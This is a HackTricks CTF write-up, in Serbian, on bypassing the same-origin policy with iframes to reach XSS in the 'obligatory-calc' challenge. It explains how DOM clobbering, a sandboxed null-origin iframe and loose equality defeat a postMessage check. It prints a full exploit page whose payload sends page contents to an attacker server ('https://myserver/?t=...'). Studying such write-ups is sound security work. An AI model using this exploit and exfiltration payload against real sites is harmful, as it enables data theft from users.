Bypassing SOP with Iframes - 2

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Iframes in SOP-2

U rešenju za ovaj izazov, @Strellic_ predlaže sličnu metodu kao u prethodnom odeljku. Hajde da proverimo.

U ovom izazovu napadač treba da bypasses ovo:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Ako to učini, može poslati postmessage sa HTML sadržajem koji će biti napisan na stranici sa innerHTML bez sanitizacije (XSS).

Način da se zaobiđe prva provera je da se window.calc.contentWindow postavi na undefined i e.source na null:

  • window.calc.contentWindow je zapravo document.getElementById("calc"). Možete prebrisati document.getElementById sa <img name=getElementById /> (napomena da Sanitizer API -ovde- nije konfiguran da štiti od DOM clobbering napada u svom podrazumevanom stanju).

  • Stoga, možete prebrisati document.getElementById("calc") sa <img name=getElementById /><div id=calc></div>. Tada će window.calc biti undefined.

  • Sada, potrebno je da e.source bude undefined ili null (jer se koristi == umesto ===, null == undefined je True). Dobijanje ovoga je "lako". Ako kreirate iframe i pošaljete postMessage iz njega i odmah uklonite iframe, e.origin će biti null. Proverite sledeći kod

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Da bi se zaobišao drugi proveren o tokenu, potrebno je poslati token sa vrednošću null i postaviti vrednost window.token na undefined:

  • Slanje token u postMessage sa vrednošću null je trivijalno.

  • window.token se koristi u pozivu funkcije getCookie koja koristi document.cookie. Imajte na umu da svaki pristup document.cookie na stranicama sa null poreklom izaziva grešku. Ovo će učiniti da window.token ima vrednost undefined.

Konačno rešenje od @terjanq je sledeće:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated